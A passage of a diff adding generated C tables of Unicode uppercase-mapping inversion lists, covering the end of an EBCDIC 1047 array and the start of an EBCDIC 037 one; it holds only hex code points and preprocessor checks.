+	0,
+	0x395,
+	0,
+	0x3F7,
+	0,
+	0x3FA,
+	0,
+	0x410,
+	0x400,
+	0,
+	0x460,
+	0,
+	0x462,
+	0,
+	0x464,
+	0,
+	0x466,
+	0,
+	0x468,
+	0,
+	0x46A,
+	0,
+	0x46C,
+	0,
+	0x46E,
+	0,
+	0x470,
+	0,
+	0x472,
+	0,
+	0x474,
+	0,
+	0x476,
+	0,
+	0x478,
+	0,
+	0x47A,
+	0,
+	0x47C,
+	0,
+	0x47E,
+	0,
+	0x480,
+	0,
+	0x48A,
+	0,
+	0x48C,
+	0,
+	0x48E,
+	0,
+	0x490,
+	0,
+	0x492,
+	0,
+	0x494,
+	0,
+	0x496,
+	0,
+	0x498,
+	0,
+	0x49A,
+	0,
+	0x49C,
+	0,
+	0x49E,
+	0,
+	0x4A0,
+	0,
+	0x4A2,
+	0,
+	0x4A4,
+	0,
+	0x4A6,
+	0,
+	0x4A8,
+	0,
+	0x4AA,
+	0,
+	0x4AC,
+	0,
+	0x4AE,
+	0,
+	0x4B0,
+	0,
+	0x4B2,
+	0,
+	0x4B4,
+	0,
+	0x4B6,
+	0,
+	0x4B8,
+	0,
+	0x4BA,
+	0,
+	0x4BC,
+	0,
+	0x4BE,
+	0,
+	0x4C1,
+	0,
+	0x4C3,
+	0,
+	0x4C5,
+	0,
+	0x4C7,
+	0,
+	0x4C9,
+	0,
+	0x4CB,
+	0,
+	0x4CD,
+	0x4C0,
+	0,
+	0x4D0,
+	0,
+	0x4D2,
+	0,
+	0x4D4,
+	0,
+	0x4D6,
+	0,
+	0x4D8,
+	0,
+	0x4DA,
+	0,
+	0x4DC,
+	0,
+	0x4DE,
+	0,
+	0x4E0,
+	0,
+	0x4E2,
+	0,
+	0x4E4,
+	0,
+	0x4E6,
+	0,
+	0x4E8,
+	0,
+	0x4EA,
+	0,
+	0x4EC,
+	0,
+	0x4EE,
+	0,
+	0x4F0,
+	0,
+	0x4F2,
+	0,
+	0x4F4,
+	0,
+	0x4F6,
+	0,
+	0x4F8,
+	0,
+	0x4FA,
+	0,
+	0x4FC,
+	0,
+	0x4FE,
+	0,
+	0x500,
+	0,
+	0x502,
+	0,
+	0x504,
+	0,
+	0x506,
+	0,
+	0x508,
+	0,
+	0x50A,
+	0,
+	0x50C,
+	0,
+	0x50E,
+	0,
+	0x510,
+	0,
+	0x512,
+	0,
+	0x514,
+	0,
+	0x516,
+	0,
+	0x518,
+	0,
+	0x51A,
+	0,
+	0x51C,
+	0,
+	0x51E,
+	0,
+	0x520,
+	0,
+	0x522,
+	0,
+	0x524,
+	0,
+	0x526,
+	0,
+	0x528,
+	0,
+	0x52A,
+	0,
+	0x52C,
+	0,
+	0x52E,
+	0,
+	0x531,
+	UC_use_AUX_TABLE_6,
+	0,
+	0x13F0,
+	0,
+	0x412,
+	0x414,
+	0x41E,
+	0x421,
+	0x422,
+	0x42A,
+	0x462,
+	0xA64A,
+	0,
+	0xA77D,
+	0,
+	0x2C63,
+	0,
+	0x1E00,
+	0,
+	0x1E02,
+	0,
+	0x1E04,
+	0,
+	0x1E06,
+	0,
+	0x1E08,
+	0,
+	0x1E0A,
+	0,
+	0x1E0C,
+	0,
+	0x1E0E,
+	0,
+	0x1E10,
+	0,
+	0x1E12,
+	0,
+	0x1E14,
+	0,
+	0x1E16,
+	0,
+	0x1E18,
+	0,
+	0x1E1A,
+	0,
+	0x1E1C,
+	0,
+	0x1E1E,
+	0,
+	0x1E20,
+	0,
+	0x1E22,
+	0,
+	0x1E24,
+	0,
+	0x1E26,
+	0,
+	0x1E28,
+	0,
+	0x1E2A,
+	0,
+	0x1E2C,
+	0,
+	0x1E2E,
+	0,
+	0x1E30,
+	0,
+	0x1E32,
+	0,
+	0x1E34,
+	0,
+	0x1E36,
+	0,
+	0x1E38,
+	0,
+	0x1E3A,
+	0,
+	0x1E3C,
+	0,
+	0x1E3E,
+	0,
+	0x1E40,
+	0,
+	0x1E42,
+	0,
+	0x1E44,
+	0,
+	0x1E46,
+	0,
+	0x1E48,
+	0,
+	0x1E4A,
+	0,
+	0x1E4C,
+	0,
+	0x1E4E,
+	0,
+	0x1E50,
+	0,
+	0x1E52,
+	0,
+	0x1E54,
+	0,
+	0x1E56,
+	0,
+	0x1E58,
+	0,
+	0x1E5A,
+	0,
+	0x1E5C,
+	0,
+	0x1E5E,
+	0,
+	0x1E60,
+	0,
+	0x1E62,
+	0,
+	0x1E64,
+	0,
+	0x1E66,
+	0,
+	0x1E68,
+	0,
+	0x1E6A,
+	0,
+	0x1E6C,
+	0,
+	0x1E6E,
+	0,
+	0x1E70,
+	0,
+	0x1E72,
+	0,
+	0x1E74,
+	0,
+	0x1E76,
+	0,
+	0x1E78,
+	0,
+	0x1E7A,
+	0,
+	0x1E7C,
+	0,
+	0x1E7E,
+	0,
+	0x1E80,
+	0,
+	0x1E82,
+	0,
+	0x1E84,
+	0,
+	0x1E86,
+	0,
+	0x1E88,
+	0,
+	0x1E8A,
+	0,
+	0x1E8C,
+	0,
+	0x1E8E,
+	0,
+	0x1E90,
+	0,
+	0x1E92,
+	0,
+	0x1E94,
+	UC_use_AUX_TABLE_7,
+	UC_use_AUX_TABLE_8,
+	UC_use_AUX_TABLE_9,
+	UC_use_AUX_TABLE_10,
+	UC_use_AUX_TABLE_11,
+	0x1E60,
+	0,
+	0x1EA0,
+	0,
+	0x1EA2,
+	0,
+	0x1EA4,
+	0,
+	0x1EA6,
+	0,
+	0x1EA8,
+	0,
+	0x1EAA,
+	0,
+	0x1EAC,
+	0,
+	0x1EAE,
+	0,
+	0x1EB0,
+	0,
+	0x1EB2,
+	0,
+	0x1EB4,
+	0,
+	0x1EB6,
+	0,
+	0x1EB8,
+	0,
+	0x1EBA,
+	0,
+	0x1EBC,
+	0,
+	0x1EBE,
+	0,
+	0x1EC0,
+	0,
+	0x1EC2,
+	0,
+	0x1EC4,
+	0,
+	0x1EC6,
+	0,
+	0x1EC8,
+	0,
+	0x1ECA,
+	0,
+	0x1ECC,
+	0,
+	0x1ECE,
+	0,
+	0x1ED0,
+	0,
+	0x1ED2,
+	0,
+	0x1ED4,
+	0,
+	0x1ED6,
+	0,
+	0x1ED8,
+	0,
+	0x1EDA,
+	0,
+	0x1EDC,
+	0,
+	0x1EDE,
+	0,
+	0x1EE0,
+	0,
+	0x1EE2,
+	0,
+	0x1EE4,
+	0,
+	0x1EE6,
+	0,
+	0x1EE8,
+	0,
+	0x1EEA,
+	0,
+	0x1EEC,
+	0,
+	0x1EEE,
+	0,
+	0x1EF0,
+	0,
+	0x1EF2,
+	0,
+	0x1EF4,
+	0,
+	0x1EF6,
+	0,
+	0x1EF8,
+	0,
+	0x1EFA,
+	0,
+	0x1EFC,
+	0,
+	0x1EFE,
+	0x1F08,
+	0,
+	0x1F18,
+	0,
+	0x1F28,
+	0,
+	0x1F38,
+	0,
+	0x1F48,
+	0,
+	UC_use_AUX_TABLE_12,
+	0x1F59,
+	UC_use_AUX_TABLE_13,
+	0x1F5B,
+	UC_use_AUX_TABLE_14,
+	0x1F5D,
+	UC_use_AUX_TABLE_15,
+	0x1F5F,
+	0,
+	0x1F68,
+	0,
+	0x1FBA,
+	0x1FC8,
+	0x1FDA,
+	0x1FF8,
+	0x1FEA,
+	0x1FFA,
+	0,
+	UC_use_AUX_TABLE_16,
+	UC_use_AUX_TABLE_17,
+	UC_use_AUX_TABLE_18,
+	UC_use_AUX_TABLE_19,
+	UC_use_AUX_TABLE_20,
+	UC_use_AUX_TABLE_21,
+	UC_use_AUX_TABLE_22,
+	UC_use_AUX_TABLE_23,
+	UC_use_AUX_TABLE_16,
+	UC_use_AUX_TABLE_17,
+	UC_use_AUX_TABLE_18,
+	UC_use_AUX_TABLE_19,
+	UC_use_AUX_TABLE_20,
+	UC_use_AUX_TABLE_21,
+	UC_use_AUX_TABLE_22,
+	UC_use_AUX_TABLE_23,
+	UC_use_AUX_TABLE_24,
+	UC_use_AUX_TABLE_25,
+	UC_use_AUX_TABLE_26,
+	UC_use_AUX_TABLE_27,
+	UC_use_AUX_TABLE_28,
+	UC_use_AUX_TABLE_29,
+	UC_use_AUX_TABLE_30,
+	UC_use_AUX_TABLE_31,
+	UC_use_AUX_TABLE_24,
+	UC_use_AUX_TABLE_25,
+	UC_use_AUX_TABLE_26,
+	UC_use_AUX_TABLE_27,
+	UC_use_AUX_TABLE_28,
+	UC_use_AUX_TABLE_29,
+	UC_use_AUX_TABLE_30,
+	UC_use_AUX_TABLE_31,
+	UC_use_AUX_TABLE_32,
+	UC_use_AUX_TABLE_33,
+	UC_use_AUX_TABLE_34,
+	UC_use_AUX_TABLE_35,
+	UC_use_AUX_TABLE_36,
+	UC_use_AUX_TABLE_37,
+	UC_use_AUX_TABLE_38,
+	UC_use_AUX_TABLE_39,
+	UC_use_AUX_TABLE_32,
+	UC_use_AUX_TABLE_33,
+	UC_use_AUX_TABLE_34,
+	UC_use_AUX_TABLE_35,
+	UC_use_AUX_TABLE_36,
+	UC_use_AUX_TABLE_37,
+	UC_use_AUX_TABLE_38,
+	UC_use_AUX_TABLE_39,
+	0x1FB8,
+	UC_use_AUX_TABLE_40,
+	UC_use_AUX_TABLE_41,
+	UC_use_AUX_TABLE_42,
+	0,
+	UC_use_AUX_TABLE_43,
+	UC_use_AUX_TABLE_44,
+	0,
+	UC_use_AUX_TABLE_41,
+	0,
+	0x399,
+	0,
+	UC_use_AUX_TABLE_45,
+	UC_use_AUX_TABLE_46,
+	UC_use_AUX_TABLE_47,
+	0,
+	UC_use_AUX_TABLE_48,
+	UC_use_AUX_TABLE_49,
+	0,
+	UC_use_AUX_TABLE_46,
+	0,
+	0x1FD8,
+	UC_use_AUX_TABLE_50,
+	UC_use_AUX_TABLE_4,
+	0,
+	UC_use_AUX_TABLE_51,
+	UC_use_AUX_TABLE_52,
+	0,
+	0x1FE8,
+	UC_use_AUX_TABLE_53,
+	UC_use_AUX_TABLE_5,
+	UC_use_AUX_TABLE_54,
+	0x1FEC,
+	UC_use_AUX_TABLE_55,
+	UC_use_AUX_TABLE_56,
+	0,
+	UC_use_AUX_TABLE_57,
+	UC_use_AUX_TABLE_58,
+	UC_use_AUX_TABLE_59,
+	0,
+	UC_use_AUX_TABLE_60,
+	UC_use_AUX_TABLE_61,
+	0,
+	UC_use_AUX_TABLE_58,
+	0,
+	0x2132,
+	0,
+	0x2160,
+	0,
+	0x2183,
+	0,
+	0x24B6,
+	0,
+	0x2C00,
+	0,
+	0x2C60,
+	0,
+	0x23A,
+	0x23E,
+	0,
+	0x2C67,
+	0,
+	0x2C69,
+	0,
+	0x2C6B,
+	0,
+	0x2C72,
+	0,
+	0x2C75,
+	0,
+	0x2C80,
+	0,
+	0x2C82,
+	0,
+	0x2C84,
+	0,
+	0x2C86,
+	0,
+	0x2C88,
+	0,
+	0x2C8A,
+	0,
+	0x2C8C,
+	0,
+	0x2C8E,
+	0,
+	0x2C90,
+	0,
+	0x2C92,
+	0,
+	0x2C94,
+	0,
+	0x2C96,
+	0,
+	0x2C98,
+	0,
+	0x2C9A,
+	0,
+	0x2C9C,
+	0,
+	0x2C9E,
+	0,
+	0x2CA0,
+	0,
+	0x2CA2,
+	0,
+	0x2CA4,
+	0,
+	0x2CA6,
+	0,
+	0x2CA8,
+	0,
+	0x2CAA,
+	0,
+	0x2CAC,
+	0,
+	0x2CAE,
+	0,
+	0x2CB0,
+	0,
+	0x2CB2,
+	0,
+	0x2CB4,
+	0,
+	0x2CB6,
+	0,
+	0x2CB8,
+	0,
+	0x2CBA,
+	0,
+	0x2CBC,
+	0,
+	0x2CBE,
+	0,
+	0x2CC0,
+	0,
+	0x2CC2,
+	0,
+	0x2CC4,
+	0,
+	0x2CC6,
+	0,
+	0x2CC8,
+	0,
+	0x2CCA,
+	0,
+	0x2CCC,
+	0,
+	0x2CCE,
+	0,
+	0x2CD0,
+	0,
+	0x2CD2,
+	0,
+	0x2CD4,
+	0,
+	0x2CD6,
+	0,
+	0x2CD8,
+	0,
+	0x2CDA,
+	0,
+	0x2CDC,
+	0,
+	0x2CDE,
+	0,
+	0x2CE0,
+	0,
+	0x2CE2,
+	0,
+	0x2CEB,
+	0,
+	0x2CED,
+	0,
+	0x2CF2,
+	0,
+	0x10A0,
+	0,
+	0x10C7,
+	0,
+	0x10CD,
+	0,
+	0xA640,
+	0,
+	0xA642,
+	0,
+	0xA644,
+	0,
+	0xA646,
+	0,
+	0xA648,
+	0,
+	0xA64A,
+	0,
+	0xA64C,
+	0,
+	0xA64E,
+	0,
+	0xA650,
+	0,
+	0xA652,
+	0,
+	0xA654,
+	0,
+	0xA656,
+	0,
+	0xA658,
+	0,
+	0xA65A,
+	0,
+	0xA65C,
+	0,
+	0xA65E,
+	0,
+	0xA660,
+	0,
+	0xA662,
+	0,
+	0xA664,
+	0,
+	0xA666,
+	0,
+	0xA668,
+	0,
+	0xA66A,
+	0,
+	0xA66C,
+	0,
+	0xA680,
+	0,
+	0xA682,
+	0,
+	0xA684,
+	0,
+	0xA686,
+	0,
+	0xA688,
+	0,
+	0xA68A,
+	0,
+	0xA68C,
+	0,
+	0xA68E,
+	0,
+	0xA690,
+	0,
+	0xA692,
+	0,
+	0xA694,
+	0,
+	0xA696,
+	0,
+	0xA698,
+	0,
+	0xA69A,
+	0,
+	0xA722,
+	0,
+	0xA724,
+	0,
+	0xA726,
+	0,
+	0xA728,
+	0,
+	0xA72A,
+	0,
+	0xA72C,
+	0,
+	0xA72E,
+	0,
+	0xA732,
+	0,
+	0xA734,
+	0,
+	0xA736,
+	0,
+	0xA738,
+	0,
+	0xA73A,
+	0,
+	0xA73C,
+	0,
+	0xA73E,
+	0,
+	0xA740,
+	0,
+	0xA742,
+	0,
+	0xA744,
+	0,
+	0xA746,
+	0,
+	0xA748,
+	0,
+	0xA74A,
+	0,
+	0xA74C,
+	0,
+	0xA74E,
+	0,
+	0xA750,
+	0,
+	0xA752,
+	0,
+	0xA754,
+	0,
+	0xA756,
+	0,
+	0xA758,
+	0,
+	0xA75A,
+	0,
+	0xA75C,
+	0,
+	0xA75E,
+	0,
+	0xA760,
+	0,
+	0xA762,
+	0,
+	0xA764,
+	0,
+	0xA766,
+	0,
+	0xA768,
+	0,
+	0xA76A,
+	0,
+	0xA76C,
+	0,
+	0xA76E,
+	0,
+	0xA779,
+	0,
+	0xA77B,
+	0,
+	0xA77E,
+	0,
+	0xA780,
+	0,
+	0xA782,
+	0,
+	0xA784,
+	0,
+	0xA786,
+	0,
+	0xA78B,
+	0,
+	0xA790,
+	0,
+	0xA792,
+	0,
+	0xA796,
+	0,
+	0xA798,
+	0,
+	0xA79A,
+	0,
+	0xA79C,
+	0,
+	0xA79E,
+	0,
+	0xA7A0,
+	0,
+	0xA7A2,
+	0,
+	0xA7A4,
+	0,
+	0xA7A6,
+	0,
+	0xA7A8,
+	0,
+	0xA7B4,
+	0,
+	0xA7B6,
+	0,
+	0xA7B3,
+	0,
+	0x13A0,
+	0,
+	UC_use_AUX_TABLE_62,
+	UC_use_AUX_TABLE_63,
+	UC_use_AUX_TABLE_64,
+	UC_use_AUX_TABLE_65,
+	UC_use_AUX_TABLE_66,
+	UC_use_AUX_TABLE_67,
+	0,
+	UC_use_AUX_TABLE_68,
+	UC_use_AUX_TABLE_69,
+	UC_use_AUX_TABLE_70,
+	UC_use_AUX_TABLE_71,
+	UC_use_AUX_TABLE_72,
+	0,
+	0xFF21,
+	0,
+	0x10400,
+	0,
+	0x104B0,
+	0,
+	0x10C80,
+	0,
+	0x118A0,
+	0,
+	0x1E900,
+	0
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV Uppercase_Mapping_invlist[] = { /* for EBCDIC 037 */
+	1379,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x59,
+	0x5A,
+	0x70,
+	0x71,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9A,
+	0x9C,
+	0x9D,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xDF,
+	0xE0,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x138,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18D,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19A,
+	0x19B,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BA,
+	0x1BD,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C5,
+	0x1C6,
+	0x1C7,
+	0x1C8,
+	0x1C9,
+	0x1CA,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DD,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F0,
+	0x1F1,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x234,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x250,
+	0x251,
+	0x252,
+	0x253,
+	0x254,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25C,
+	0x25D,
+	0x260,
+	0x261,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x266,
+	0x267,
+	0x268,
+	0x269,
+	0x26A,
+	0x26B,
+	0x26C,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x272,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x288,
+	0x289,
+	0x28A,
+	0x28C,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29E,
+	0x29F,
+	0x345,
+	0x346,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3AD,
+	0x3B0,
+	0x3B1,
+	0x3C2,
+	0x3C3,
+	0x3CC,
+	0x3CD,
+	0x3CF,
+	0x3D0,
+	0x3D1,
+	0x3D2,
+	0x3D5,
+	0x3D6,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F1,
+	0x3F2,
+	0x3F3,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FC,
+	0x430,
+	0x450,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4CF,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x587,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C81,
+	0x1C82,
+	0x1C83,
+	0x1C85,
+	0x1C86,
+	0x1C87,
+	0x1C88,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E96,
+	0x1E97,
+	0x1E98,
+	0x1E99,
+	0x1E9A,
+	0x1E9B,
+	0x1E9C,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
